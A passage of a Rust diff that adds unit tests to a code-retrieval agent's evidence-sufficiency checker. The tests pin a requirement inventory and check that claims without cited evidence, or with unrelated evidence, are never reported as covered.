HOOK_CACHE_HELPER_REQUIREMENT, + HOOK_MUTATION_FLOW_REQUIREMENT, + ], + ), + ( + "command_loop", + vec![ + COMMAND_SERVER_BOOTSTRAP_REQUIREMENT, + COMMAND_EVENT_LOOP_REQUIREMENT, + COMMAND_NETWORK_INPUT_REQUIREMENT, + COMMAND_DISPATCH_REQUIREMENT, + ], + ), + ("sql_schema", SQL_SCHEMA_FLOW.to_vec()), + ("html_css", HTML_CSS_FLOW.to_vec()), + ("css_animation", CSS_ANIMATION_FLOW.to_vec()), + ("form_validation", FORM_VALIDATION_FLOW.to_vec()), + ("shell_install", SHELL_INSTALL_FLOW.to_vec()), + ("buffered_io", BUFFERED_IO_FLOW.to_vec()), + ("log_handler", LOG_HANDLER_FLOW.to_vec()), + ("site_build", SITE_BUILD_FLOW.to_vec()), + ("mapper_plan", MAPPER_PLAN_FLOW.to_vec()), + ("runtime_formatting", RUNTIME_FORMATTING_FLOW.to_vec()), + ("search_execution", SEARCH_EXECUTION_FLOW.to_vec()), + ] +} + +#[cfg(test)] +pub(crate) fn all_flow_requirements() -> Vec { + all_flow_requirement_groups() + .into_iter() + .flat_map(|(_, requirements)| requirements) + .collect() +} + #[cfg(test)] mod tests { use super::*; use crate::agent::packet_terms::packet_probe_terms; + use codestory_contracts::api::{NodeId, NodeKind, SearchHitOrigin}; fn client_requirement_ids(prompt: &str) -> Vec<&'static str> { packet_flow_requirements_for_terms( @@ -929,4 +995,472 @@ mod tests { ); } } + + /// The checked-in inventory of every requirement a question can raise, as + /// `id | role | coverage mode`. + /// + /// This exists so that a requirement can never be quietly removed to make a gate pass. The + /// previous invariant asked "can any evidence role carry this requirement's `FlowRole`?", which + /// a failing lane could satisfy by deleting the requirement; this one fails on removal too, and + /// the only way past it is to edit the list in the diff a reviewer reads. + const FLOW_REQUIREMENT_INVENTORY: &[&str] = &[ + "buffered_read_write | dispatch | RequiresResolvedSourceOrGraph", + "buffered_storage | state_or_storage | AllowsSourceRange", + "client_interface_helpers | entrypoint | RequiresResolvedSourceOrGraph", + "client_public_facade | entrypoint | RequiresResolvedSourceOrGraph", + "client_request_finalization | transform_or_validate | RequiresResolvedSourceOrGraph", + "client_response_materialization | terminal_boundary | RequiresResolvedSourceOrGraph", + "client_transport_send | dispatch | RequiresResolvedSourceOrGraph", + "command_dispatch | dispatch | RequiresResolvedSourceOrGraph", + "command_event_loop | dispatch | RequiresResolvedSourceOrGraph", + "command_network_input | dispatch | RequiresResolvedSourceOrGraph", + "command_server_bootstrap | entrypoint | RequiresResolvedSourceOrGraph", + "css_animation_entrypoint | entrypoint | AllowsLexicalSource", + "css_animation_structure | configuration | AllowsLexicalSource", + "css_structure | configuration | AllowsLexicalSource", + "form_custom_validation | transform_or_validate | AllowsLexicalSource", + "form_native_constraints | transform_or_validate | AllowsLexicalSource", + "form_submit_guard | terminal_boundary | AllowsLexicalSource", + "format_arguments | transform_or_validate | RequiresResolvedSourceOrGraph", + "format_errors | error_or_fallback | AllowsSourceRange", + "handler_processing | dispatch | RequiresResolvedSourceOrGraph", + "hook_cache_helper | state_or_storage | AllowsSourceRange", + "hook_key_serialization | transform_or_validate | AllowsSourceRange", + "hook_mutation_flow | dispatch | AllowsSourceRange", + "hook_public_export | entrypoint | AllowsSourceRange", + "html_app_shell | entrypoint | AllowsLexicalSource", + "indexing_entrypoint | entrypoint | RequiresResolvedSourceOrGraph", + "indexing_storage | state_or_storage | AllowsSourceRange", + "logger_event | entrypoint | RequiresResolvedSourceOrGraph", + "mapper_config | configuration | RequiresResolvedSourceOrGraph", + "mapper_execution | dispatch | RequiresResolvedSourceOrGraph", + "request_dispatch | dispatch | RequiresResolvedSourceOrGraph", + "request_entrypoint | entrypoint | RequiresResolvedSourceOrGraph", + "request_entrypoint | registration | RequiresResolvedSourceOrGraph", + "request_interceptor_management | dispatch | RequiresResolvedSourceOrGraph", + "request_terminal | terminal_boundary | AllowsSourceRange", + "search_dispatch | dispatch | RequiresResolvedSourceOrGraph", + "search_entrypoint | entrypoint | RequiresResolvedSourceOrGraph", + "session_callbacks | dispatch | AllowsSourceRange", + "session_request | entrypoint | RequiresResolvedSourceOrGraph", + "shell_completion | terminal_boundary | DiagnosticOnly", + "shell_function_dispatch | dispatch | AllowsLexicalSource", + "shell_installer_bootstrap | entrypoint | AllowsLexicalSource", + "site_lifecycle | entrypoint | RequiresResolvedSourceOrGraph", + "site_terminal | terminal_boundary | AllowsSourceRange", + "sql_relationships | configuration | AllowsLexicalSource", + "sql_tables | state_or_storage | AllowsLexicalSource", + ]; + + fn requirement_inventory_entry(requirement: &FlowRequirement) -> String { + format!( + "{} | {} | {:?}", + requirement.id, + requirement.role_id(), + requirement.coverage_mode + ) + } + + #[test] + fn the_requirement_inventory_matches_the_requirement_tables() { + let mut live = all_flow_requirements() + .iter() + .map(requirement_inventory_entry) + .collect::>(); + live.sort(); + live.dedup(); + + let mut recorded = FLOW_REQUIREMENT_INVENTORY + .iter() + .map(|entry| (*entry).to_string()) + .collect::>(); + recorded.sort(); + + let removed = recorded + .iter() + .filter(|entry| !live.contains(entry)) + .collect::>(); + assert!( + removed.is_empty(), + "a requirement disappeared from the tables; a requirement no evidence can reach is a \ + retrieval gap to close, not a requirement to drop: {removed:?}" + ); + let added = live + .iter() + .filter(|entry| !recorded.contains(entry)) + .collect::>(); + assert!( + added.is_empty(), + "a new requirement is not in the checked-in inventory; add it there so removals stay \ + visible in review: {added:?}" + ); + } + + /// One cited anchor that proves each requirement. Two jobs: it shows every requirement is + /// reachable at all (a requirement no evidence can close would report partial forever), and it + /// gives the same-role distinctness test the witnesses it needs. + fn requirement_witnesses() -> Vec<((&'static str, &'static str), AgentCitationDto)> { + vec![ + ( + ("indexing_entrypoint", "entrypoint"), + witness("buildIndex", "src/indexer/build.rs", NodeKind::FUNCTION), + ), + ( + ("indexing_storage", "state_or_storage"), + witness( + "SymbolStore.persist", + "src/store/symbols.rs", + NodeKind::METHOD, + ), + ), + ( + ("request_entrypoint", "registration"), + witness("Router.add_route", "src/routing.py", NodeKind::FUNCTION), + ), + ( + ("request_entrypoint", "entrypoint"), + witness("createInstance", "lib/axios.js", NodeKind::FUNCTION), + ), + ( + ("request_dispatch", "dispatch"), + witness( + "dispatchRequest", + "lib/core/dispatchRequest.js", + NodeKind::FUNCTION, + ), + ), + ( + ("request_terminal", "terminal_boundary"), + witness( + "selectAdapter", + "lib/adapters/adapters.js", + NodeKind::FUNCTION, + ), + ), + ( + ("request_interceptor_management", "dispatch"), + witness( + "InterceptorManager", + "lib/core/InterceptorManager.js", + NodeKind::CLASS, + ), + ), + ( + ("session_request", "entrypoint"), + witness( + "createClientInstance", + "Source/Session.swift", + NodeKind::FUNCTION, + ), + ), + ( + ("session_callbacks", "dispatch"), + witness( + "SessionDelegate.dispatchEvent", + "Source/SessionDelegate.swift", + NodeKind::METHOD, + ), + ), + ( + ("client_public_facade", "entrypoint"), + witness("createClient", "lib/client.dart", NodeKind::FUNCTION), + ), + ( + ("client_interface_helpers", "entrypoint"), + witness("Client.get", "lib/client.dart", NodeKind::METHOD), + ), + ( + ("client_request_finalization", "transform_or_validate"), + witness( + "BaseRequest.finalize", + "lib/base_request.dart", + NodeKind::METHOD, + ), + ), + ( + ("client_transport_send", "dispatch"), + witness( + "IOClient.sendAdapter", + "lib/io_client.dart", + NodeKind::METHOD, + ), + ), + ( + ("client_response_materialization", "terminal_boundary"), + witness("Response.fromStream", "lib/response.dart", NodeKind::METHOD), + ), + ( + ("hook_public_export", "entrypoint"), + witness("useData", "src/index/use-data.ts", NodeKind::FUNCTION), + ), + ( + ("hook_key_serialization", "transform_or_validate"), + witness( + "serializeKey", + "src/_internal/utils/serialize.ts", + NodeKind::FUNCTION, + ), + ), + ( + ("hook_cache_helper", "state_or_storage"), + witness( + "makeCacheHelper", + "src/_internal/utils/helper.ts", + NodeKind::FUNCTION, + ), + ), + ( + ("hook_mutation_flow", "dispatch"), + witness( + "applyMutation", + "src/_internal/utils/mutate.ts", + NodeKind::FUNCTION, + ), + ), + ( + ("command_server_bootstrap", "entrypoint"), + witness("main", "src/server.c", NodeKind::FUNCTION), + ), + ( + ("command_event_loop", "dispatch"), + witness("aeProcessEvents", "src/event/ae.c", NodeKind::FUNCTION), + ), + ( + ("command_network_input", "dispatch"), + witness( + "readQueryFromClient", + "src/networking.c", + NodeKind::FUNCTION, + ), + ), + ( + ("command_dispatch", "dispatch"), + witness("processCommand", "src/server.c", NodeKind::FUNCTION), + ), + ( + ("sql_tables", "state_or_storage"), + witness("CREATE TABLE Artist", "db/schema.sql", NodeKind::FUNCTION), + ), + ( + ("sql_relationships", "configuration"), + witness("FOREIGN KEY", "db/schema.sql", NodeKind::FUNCTION), + ), + ( + ("html_app_shell", "entrypoint"), + witness("div#app", "src/index.html", NodeKind::FUNCTION), + ), + ( + ("css_structure", "configuration"), + witness(":root", "src/main.css", NodeKind::FUNCTION), + ), + ( + ("css_animation_entrypoint", "entrypoint"), + witness( + "@import \"animations/base\"", + "src/animations/index.css", + NodeKind::FUNCTION, + ), + ), + ( + ("css_animation_structure", "configuration"), + witness( + "@keyframes fade-in", + "src/animations/fade.css", + NodeKind::FUNCTION, + ), + ), + ( + ("form_native_constraints", "transform_or_validate"), + witness("required", "examples/form.html", NodeKind::FUNCTION), + ), + ( + ("form_custom_validation", "transform_or_validate"), + witness( + "setCustomValidity", + "examples/validate.js", + NodeKind::FUNCTION, + ), + ), + ( + ("form_submit_guard", "terminal_boundary"), + witness("onSubmitGuard", "examples/submit.js", NodeKind::FUNCTION), + ), + ( + ("shell_installer_bootstrap", "entrypoint"), + witness("nvm_download", "install.sh", NodeKind::FUNCTION), + ), + ( + ("shell_function_dispatch", "dispatch"), + witness("nvm_command", "nvm.sh", NodeKind::FUNCTION), + ), + ( + ("shell_completion", "terminal_boundary"), + witness("nvm_completion", "bash_completion.sh", NodeKind::FUNCTION), + ), + ( + ("buffered_storage", "state_or_storage"), + witness("Buffer", "okio/src/buffer.kt", NodeKind::CLASS), + ), + ( + ("buffered_read_write", "dispatch"), + witness("Buffer.writeUtf8", "okio/src/buffer.kt", NodeKind::METHOD), + ), + ( + ("logger_event", "entrypoint"), + witness( + "Logger.addRecord", + "src/logging/Logger.php", + NodeKind::METHOD, + ), + ), + ( + ("handler_processing", "dispatch"), + witness( + "AbstractProcessingHandler.write", + "src/logging/Handler.php", + NodeKind::METHOD, + ), + ), + ( + ("site_lifecycle", "entrypoint"), + witness("Build.process", "lib/site/build.rb", NodeKind::METHOD), + ), + ( + ("site_terminal", "terminal_boundary"), + witness("Renderer.render", "lib/site/renderer.rb", NodeKind::METHOD), + ), + ( + ("mapper_config", "configuration"), + witness( + "MapperConfiguration", + "src/AutoMapper/MapperConfiguration.cs", + NodeKind::CLASS, + ), + ), + ( + ("mapper_execution", "dispatch"), + witness( + "TypeMapPlanBuilder", + "src/AutoMapper/Execution/Plan.cs", + NodeKind::CLASS, + ), + ), + ( + ("format_arguments", "transform_or_validate"), + witness("basic_format_args", "include/fmt/base.h", NodeKind::CLASS), + ), + ( + ("format_errors", "error_or_fallback"), + witness( + "throw_format_error", + "include/fmt/format.h", + NodeKind::FUNCTION, + ), + ), + ( + ("search_entrypoint", "entrypoint"), + witness("main", "crates/core/main.rs", NodeKind::FUNCTION), + ), + ( + ("search_dispatch", "dispatch"), + witness("SearchWorker", "crates/core/search.rs", NodeKind::STRUCT), + ), + ] + } + + fn witness(display_name: &str, file_path: &str, kind: NodeKind) -> AgentCitationDto { + AgentCitationDto { + node_id: NodeId(display_name.to_string()), + display_name: display_name.to_string(), + kind, + file_path: Some(file_path.to_string()), + line: Some(1), + score: 1.0, + origin: SearchHitOrigin::IndexedSymbol, + resolvable: true, + subgraph_id: None, + evidence_edge_ids: Vec::new(), + retrieval_score_breakdown: None, + evidence_tier: None, + evidence_producer: None, + resolution_status: None, + loss_reason: None, + coverage_role: None, + eligible_for_sufficiency: Some(true), + } + } + + #[test] + fn every_requirement_has_evidence_that_can_close_it() { + let witnesses = requirement_witnesses(); + for requirement in all_flow_requirements() { + let key = (requirement.id, requirement.role_id()); + let witness = witnesses + .iter() + .find(|(witness_key, _)| *witness_key == key) + .map(|(_, citation)| citation) + .unwrap_or_else(|| { + panic!( + "requirement {} has no witness; every requirement needs evidence that can \ + close it, or it reports partial forever", + requirement.id + ) + }); + assert!( + requirement.evidence.citation_proves(witness), + "requirement {} is unclosable: its witness `{}` does not satisfy its evidence \ + predicate", + requirement.id, + witness.display_name + ); + } + } + + #[test] + fn requirements_sharing_a_flow_role_stay_separable_by_evidence() { + let witnesses = requirement_witnesses(); + let witness_for = |requirement: &FlowRequirement| { + let key = (requirement.id, requirement.role_id()); + witnesses + .iter() + .find(|(witness_key, _)| *witness_key == key) + .map(|(_, citation)| citation.clone()) + .unwrap_or_else(|| panic!("missing witness for {key:?}")) + }; + + let mut checked_pairs = 0; + for (group, requirements) in all_flow_requirement_groups() { + for (index, left) in requirements.iter().enumerate() { + for right in requirements.iter().skip(index + 1) { + if left.role != right.role || left.id == right.id { + continue; + } + checked_pairs += 1; + let left_witness = witness_for(left); + let right_witness = witness_for(right); + assert!( + !right.evidence.citation_proves(&left_witness), + "in flow {group}, evidence for {} also closes its {} sibling {}: two \ + requirements sharing a role must not be closed by one anchor", + left.id, + left.role.label(), + right.id + ); + assert!( + !left.evidence.citation_proves(&right_witness), + "in flow {group}, evidence for {} also closes its {} sibling {}: two \ + requirements sharing a role must not be closed by one anchor", + right.id, + right.role.label(), + left.id + ); + } + } + } + assert!( + checked_pairs >= 5, + "the tables still contain same-role sibling requirements; this invariant must actually \ + be exercising them (checked {checked_pairs})" + ); + } } diff --git a/crates/codestory-runtime/src/agent/packet_sufficiency.rs b/crates/codestory-runtime/src/agent/packet_sufficiency.rs index cce37a045..6d0d887f5 100644 --- a/crates/codestory-runtime/src/agent/packet_sufficiency.rs +++ b/crates/codestory-runtime/src/agent/packet_sufficiency.rs @@ -4111,9 +4111,19 @@ mod tests { let question = "Explain SQL schema relationships between artists, albums, tracks, invoices, and invoice lines across seed scripts."; let answer = answer_fixture(question); let budget = budget_fixture(); + // Both claims are proof-bearing and cite resolved anchors, so nothing but the shape of that + // evidence can decide the schema requirements. The anchors are ordinary application + // symbols in a `.rb` file: `packet_evidence_role` classifies them as source evidence, which + // is neither a table definition nor a relationship constraint. let claims = vec![ - claim("SQL schema defines tables Artist, Album, Track, Invoice, and InvoiceLine."), - claim("Track rows reference Album, Genre, and MediaType rows."), + evidence_claim( + "SQL schema defines tables Artist, Album, Track, Invoice, and InvoiceLine.", + anchor_at("Catalog.load", "app/models/catalog.rb"), + ), + evidence_claim( + "Track rows reference Album, Genre, and MediaType rows.", + anchor_at("Catalog.render", "app/views/catalog.rb"), + ), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -4137,6 +4147,31 @@ mod tests { report.missing.contains(&"sql_relationships".to_string()), "SQL relationship wording without an FK citation must stay missing: {report:?}" ); + // Pin the reason rather than relying on how the fixture happens to classify: the two SQL + // requirements are refused because their evidence predicates reject these anchors, not + // because the anchors landed on some other role or were ruled ineligible. + let context = PacketFlowContext::new(question, PacketTaskClassDto::DataFlow); + for requirement_id in ["sql_tables", "sql_relationships"] { + let requirement = context + .requirements + .iter() + .find(|requirement| requirement.id == requirement_id) + .unwrap_or_else(|| panic!("the prompt should raise {requirement_id}")); + for anchor in [ + anchor_at("Catalog.load", "app/models/catalog.rb"), + anchor_at("Catalog.render", "app/views/catalog.rb"), + ] { + assert!( + citation_sufficiency_eligible(&anchor), + "the fixture anchors must be proof-bearing for this to test the predicate" + ); + assert!( + !requirement.evidence.citation_proves(&anchor), + "{requirement_id} must reject `{}` by its own evidence predicate", + anchor.display_name + ); + } + } } #[test] @@ -4437,12 +4472,22 @@ mod tests { let question = "Explain how formatting arguments become type-erased format args and reach vformat or format_to output paths."; let answer = answer_fixture(question); let budget = budget_fixture(); + // Three proof-bearing claims over real formatting anchors. `format_arguments` and + // `format_errors` are separate requirements, so argument, output, and buffer evidence must + // leave the error/fallback requirement open — the case wording used to close. let claims = vec![ - claim( + evidence_claim( "Runtime formatting uses type-erased arguments before dispatching formatted output helpers.", + anchor_at("basic_format_args", "include/fmt/base.h"), + ), + evidence_claim( + "Runtime formatting writes formatted output through output iterator helpers.", + anchor_at("vformat_to", "include/fmt/format.h"), + ), + evidence_claim( + "Runtime formatting appends formatted output to a buffer.", + anchor_at("basic_memory_buffer.append", "include/fmt/format.h"), ), - claim("Runtime formatting writes formatted output through output iterator helpers."), - claim("Runtime formatting appends formatted output to a buffer."), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -4997,11 +5042,18 @@ mod tests { mark_full_retrieval_available(&mut answer); let budget = compact_truncated_budget(question, vec!["citations", "markdown_blocks"]); let claims = vec![ - claim( + evidence_claim( "Runtime formatting uses type-erased arguments before dispatching formatted output helpers.", + anchor_at("basic_format_args", "include/fmt/base.h"), + ), + evidence_claim( + "Runtime formatting writes formatted output through output iterator helpers.", + anchor_at("vformat_to", "include/fmt/format.h"), + ), + evidence_claim( + "Runtime formatting appends formatted output to a buffer.", + anchor_at("basic_memory_buffer.append", "include/fmt/format.h"), ), - claim("Runtime formatting writes formatted output through output iterator helpers."), - claim("Runtime formatting appends formatted output to a buffer."), ]; let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { @@ -6125,6 +6177,532 @@ mod tests { "string predicate claims should cover distinct sufficiency families" ); } + + #[test] + fn a_claim_without_cited_evidence_cannot_satisfy_sufficiency() { + let question = "Explain what owns this behavior."; + let answer = answer_fixture(question); + let unsupported = claim("The runtime validates every request before it is dispatched."); + + assert!(!packet_claim_can_satisfy_sufficiency(&unsupported)); + + let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::SymbolOwnership, + answer: &answer, + budget: &budget_fixture(), + supported_claims: vec![unsupported], + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }); + + assert_eq!(sufficiency.status, PacketSufficiencyStatusDto::Partial); + assert!( + sufficiency.covered_claims.is_empty(), + "an unsupported sentence must not be published as a covered claim: {sufficiency:?}" + ); + let report = sufficiency.coverage_report.as_ref().unwrap(); + assert!( + report + .ineligible + .iter() + .any(|entry| entry.contains("reason=\"claim carries no cited evidence\"")), + "an unsupported sentence must be reported as unproven, not counted: {report:?}" + ); + assert!(report.covered.is_empty(), "{report:?}"); + } + + #[test] + fn a_claim_the_packet_reports_as_unproven_is_never_published_as_covered() { + // Callers read covered_claims as verified and safe to repeat. Publishing a claim that the + // same packet lists as ineligible would restate #1200's false-safe answer one claim down. + let question = "Explain what owns this behavior."; + let mut answer = answer_fixture(question); + let anchor = anchor_at( + "publish_generation", + "crates/codestory-store/src/publication.rs", + ); + answer.citations = vec![anchor.clone()]; + let navigation = cited_claim( + "`publish_generation` ties publication in this flow to cited definitions and adjacent ownership.", + Some("source evidence"), + anchor, + Some(true), + ); + + assert!(!packet_claim_can_satisfy_sufficiency(&navigation)); + + let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::SymbolOwnership, + answer: &answer, + budget: &budget_fixture(), + supported_claims: vec![navigation], + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }); + + assert_eq!(sufficiency.status, PacketSufficiencyStatusDto::Partial); + assert!( + sufficiency.covered_claims.is_empty(), + "a cited claim that only points at evidence must not be published: {sufficiency:?}" + ); + assert!( + sufficiency.avoid_opening_paths.is_empty(), + "a file only named by an unproven claim stays worth opening: {sufficiency:?}" + ); + let report = sufficiency.coverage_report.as_ref().unwrap(); + assert!( + report.ineligible.iter().any(|entry| entry.contains( + "reason=\"generic navigation/source-evidence claim does not explain the flow\"" + )), + "the dropped claim must still be explained in the coverage report: {report:?}" + ); + } + + #[test] + fn every_task_class_needs_a_proof_bearing_claim_for_each_resolved_exact_path() { + let covered_path = "crates/codestory-cli/src/stdio_transport.rs"; + let uncovered_path = "crates/codestory-runtime/src/agent/orchestrator.rs"; + let covered = anchor_at("dispatch_stdio_request", covered_path); + let exact_paths = [covered_path.to_string(), uncovered_path.to_string()]; + + for task_class in [ + PacketTaskClassDto::ArchitectureExplanation, + PacketTaskClassDto::RouteTracing, + PacketTaskClassDto::DataFlow, + PacketTaskClassDto::ChangeImpact, + PacketTaskClassDto::EditPlanning, + PacketTaskClassDto::BugLocalization, + PacketTaskClassDto::SymbolOwnership, + ] { + let question = "Explain what these exact paths do."; + let mut answer = answer_fixture(question); + answer.citations = vec![covered.clone()]; + + let sufficiency = assemble_packet_sufficiency_with_probe_context( + PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class, + answer: &answer, + budget: &budget_fixture(), + supported_claims: vec![evidence_claim( + "The stdio adapter dispatches the host request.", + covered.clone(), + )], + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }, + &[], + &exact_paths, + ); + + assert_ne!( + sufficiency.status, + PacketSufficiencyStatusDto::Sufficient, + "{task_class:?} packet must not report sufficient while an exact path is unproven: {sufficiency:?}" + ); + assert!( + sufficiency + .gaps + .iter() + .any(|gap| gap.contains(uncovered_path)), + "{task_class:?} packet needs a path-specific gap: {sufficiency:?}" + ); + assert!( + !sufficiency + .gaps + .iter() + .any(|gap| gap.contains(covered_path)), + "{task_class:?} packet must not report a proven path as missing: {sufficiency:?}" + ); + assert!( + sufficiency + .follow_up_commands + .iter() + .any(|command| command.contains(uncovered_path)), + "{task_class:?} packet needs a targeted follow-up for the unproven path: {sufficiency:?}" + ); + } + } + + #[test] + fn more_uncovered_exact_paths_than_the_gap_budget_are_summarized_not_dropped() { + let question = "Explain what these exact paths do."; + let answer = answer_fixture(question); + let exact_paths = (0..MAX_EXACT_PATH_CLAIM_GAPS + 2) + .map(|index| format!("crates/example/src/module_{index}.rs")) + .collect::>(); + + let sufficiency = assemble_packet_sufficiency_with_probe_context( + PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::ArchitectureExplanation, + answer: &answer, + budget: &budget_fixture(), + supported_claims: Vec::new(), + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }, + &[], + &exact_paths, + ); + + let path_gaps = sufficiency + .gaps + .iter() + .filter(|gap| gap.contains("explicit exact path")) + .count(); + assert_eq!( + path_gaps, MAX_EXACT_PATH_CLAIM_GAPS, + "path-specific gaps stay bounded: {sufficiency:?}" + ); + assert!( + sufficiency + .gaps + .iter() + .any(|gap| gap.contains("2 further requested exact path(s)")), + "the paths beyond the gap budget are still reported: {sufficiency:?}" + ); + let report = sufficiency.coverage_report.as_ref().unwrap(); + for path in &exact_paths { + assert!( + report.missing.contains(&format!("exact path: {path}")), + "the coverage report names every unproven path: {report:?}" + ); + } + } + + #[test] + fn requirement_coverage_comes_from_cited_evidence_not_claim_wording() { + let context = + PacketFlowContext::new("Explain request dispatch.", PacketTaskClassDto::DataFlow); + let requirement = *context + .requirements + .iter() + .find(|requirement| requirement.id == "request_dispatch") + .expect("a request-dispatch prompt raises the dispatch requirement"); + let wording_only = evidence_claim( + "The runtime dispatches every request through a central handler.", + anchor_at("ProjectSettings", "src/settings.rs"), + ); + let evidence_backed = evidence_claim( + "The runtime dispatches every request through a central handler.", + anchor_at("dispatchRequest", "src/dispatch.rs"), + ); + + assert!( + !context.claim_satisfies_requirement(&wording_only, &requirement), + "dispatch wording over unrelated evidence must not cover a dispatch requirement" + ); + assert!( + context.claim_satisfies_requirement(&evidence_backed, &requirement), + "a cited dispatch symbol covers the dispatch requirement" + ); + } + + #[test] + fn evidence_at_one_flow_role_does_not_close_the_next_role_in_the_same_flow() { + let question = "Explain how a logger turns a log call into a record object and passes it through handlers."; + let claims = vec![evidence_claim( + "The log entrypoint builds a record before handlers see it.", + anchor_at("Logger.addRecord", "src/logging/Logger.php"), + )]; + + let missing = + packet_missing_required_flow_roles(question, PacketTaskClassDto::DataFlow, &claims); + assert!( + !missing.contains(&FlowRole::Entrypoint), + "cited record-creation evidence should close the entrypoint requirement: {missing:?}" + ); + assert!( + missing.contains(&FlowRole::Dispatch), + "record-creation evidence must not also close the handler requirement beside it: {missing:?}" + ); + } + + /// The three holdout prompts in `benchmarks/tasks/holdout-retrieval/`, each with every + /// component cited except the one the manifest names. This lane's acceptance criterion is that + /// the packet refuses in exactly that case, so it belongs in the unit suite rather than only in + /// a corpus run. + #[test] + fn holdout_prompts_stay_partial_when_the_named_component_is_uncited() { + struct HoldoutCase { + id: &'static str, + question: &'static str, + cited: &'static [(&'static str, &'static str)], + uncited_requirement: &'static str, + } + + let cases = [ + HoldoutCase { + id: "axios-request-dispatch", + question: "Explain how the default axios instance is created and how an HTTP request flows through interceptors, dispatchRequest, and the transport adapter. Cite the source files that support the path.", + cited: &[ + ("createInstance", "lib/axios.js"), + ("dispatchRequest", "lib/core/dispatchRequest.js"), + ("getAdapter", "lib/adapters/adapters.js"), + ], + uncited_requirement: "request_interceptor_management", + }, + HoldoutCase { + id: "redis-server-event-loop", + question: "Explain how the Redis server starts its event loop, reads client commands from the network, and dispatches them through processCommand and call. Cite the source files that support the path.", + cited: &[ + ("main", "src/server.c"), + ("aeProcessEvents", "src/event/ae.c"), + ("processCommand", "src/server.c"), + ], + uncited_requirement: "command_network_input", + }, + HoldoutCase { + id: "ripgrep-search-pipeline", + question: "Explain how ripgrep parses CLI flags, walks candidate files, and executes a search over each haystack through matcher, searcher, and printer components. Cite the source files that support the path.", + cited: &[("main", "crates/core/main.rs")], + uncited_requirement: "search_dispatch", + }, + ]; + + for case in cases { + let mut answer = answer_fixture(case.question); + answer.citations = case + .cited + .iter() + .map(|(name, path)| anchor_at(name, path)) + .collect(); + let claims = case + .cited + .iter() + .map(|(name, path)| { + evidence_claim( + &format!("`{name}` participates in the traced path."), + anchor_at(name, path), + ) + }) + .collect::>(); + + let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question: case.question, + task_class: PacketTaskClassDto::ArchitectureExplanation, + answer: &answer, + budget: &budget_fixture(), + supported_claims: claims, + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }); + + assert_eq!( + sufficiency.status, + PacketSufficiencyStatusDto::Partial, + "holdout {} must refuse while {} is uncited: {sufficiency:?}", + case.id, + case.uncited_requirement + ); + let report = sufficiency.coverage_report.as_ref().unwrap(); + assert!( + report + .missing + .contains(&case.uncited_requirement.to_string()), + "holdout {} should name {} as missing: {report:?}", + case.id, + case.uncited_requirement + ); + } + } + + #[test] + fn holdout_axios_interceptor_evidence_closes_the_interceptor_requirement() { + // The opposite direction of the axios holdout gate: the same packet with an interceptor + // owner cited stops reporting that requirement missing, so the refusal above is caused by + // the uncited component and not by an unclosable requirement. + let question = "Explain how the default axios instance is created and how an HTTP request flows through interceptors, dispatchRequest, and the transport adapter. Cite the source files that support the path."; + let mut interceptor = anchor_at("InterceptorManager", "lib/core/InterceptorManager.js"); + interceptor.kind = NodeKind::CLASS; + let cited = [ + anchor_at("createInstance", "lib/axios.js"), + anchor_at("dispatchRequest", "lib/core/dispatchRequest.js"), + anchor_at("getAdapter", "lib/adapters/adapters.js"), + interceptor, + ]; + let mut answer = answer_fixture(question); + answer.citations = cited.to_vec(); + let claims = cited + .iter() + .map(|citation| { + evidence_claim( + &format!( + "`{}` participates in the traced path.", + citation.display_name + ), + citation.clone(), + ) + }) + .collect::>(); + + let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::ArchitectureExplanation, + answer: &answer, + budget: &budget_fixture(), + supported_claims: claims, + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }); + + let report = sufficiency.coverage_report.as_ref().unwrap(); + assert!( + !report + .missing + .contains(&"request_interceptor_management".to_string()), + "a cited interceptor owner closes the interceptor requirement: {report:?}" + ); + } + + #[test] + fn retained_route_tracing_packet_reports_the_unproven_route_instead_of_sufficient() { + // Retained shape of ask-1784386505488682000 (#1200): a route_tracing request whose packet + // answered with generic router/application-factory prose, an unrelated task-class enum, and + // an import-only `Context -> Context` graph, yet reported sufficient with no gaps and told + // the caller not to open the very files the route runs through. + // + // Route order and avoid-opening already failed closed before this lane; what this pins in + // addition is that each requested path is held to its own proof in a route_tracing packet, + // and that the navigation claim over one of those paths is neither counted nor published. + let question = "plugins/codestory/scripts/codestory-mcp.cjs -> crates/codestory-cli/src/stdio_transport.rs -> crates/codestory-runtime/src/agent/orchestrator.rs -> crates/codestory-retrieval/src/lib.rs"; + let route_paths = [ + "plugins/codestory/scripts/codestory-mcp.cjs", + "crates/codestory-cli/src/stdio_transport.rs", + "crates/codestory-runtime/src/agent/orchestrator.rs", + "crates/codestory-retrieval/src/lib.rs", + ]; + + let router = anchor_at("create_router", "src/application/router.rs"); + let factory = anchor_at("create_app", "src/application/factory.rs"); + let mut task_enum = anchor_at("EditPlanning", "crates/codestory-contracts/src/api.rs"); + task_enum.kind = NodeKind::ENUM_CONSTANT; + let mut import_node = anchor_at("Context", route_paths[2]); + import_node.kind = NodeKind::STRUCT; + + let mut answer = answer_fixture(question); + answer.answer_id = "ask-1784386505488682000".to_string(); + mark_full_retrieval_available(&mut answer); + answer.citations = vec![ + router.clone(), + factory.clone(), + task_enum.clone(), + import_node.clone(), + ]; + answer.graphs = vec![route_graph( + "import-neighborhood", + &["Context"], + &[("Context", "Context")], + )]; + let claims = vec![ + evidence_claim( + 